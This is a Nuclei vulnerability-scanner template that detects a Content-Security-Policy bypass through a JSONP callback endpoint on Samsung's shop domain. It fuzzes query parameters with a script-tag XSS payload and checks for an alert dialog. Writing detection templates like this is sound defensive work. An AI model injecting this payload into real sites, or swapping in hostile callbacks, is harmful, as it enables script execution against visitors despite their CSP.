id: samsung-shop-csp-bypass

info:
  name: Content-Security-Policy Bypass - Samsung Shop
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,samsung-shop,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "samsung.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: samsung_shop_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://shop.samsung.com/br/_v/private/ng/p4v1/getCartCount?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "samsung_shop_csp_xss == true"
# digest: 4a0a00473045022100b9e59f289e2a3e31878e5c908b668bbc0216fe493df91b47eff8fcba43863cf302204a15f43d0bc31c5b852794c14a59f9f48e9e39b3f9e287eb86558f8a4abc99b6:922c64590222798bb761d5b6d8e72950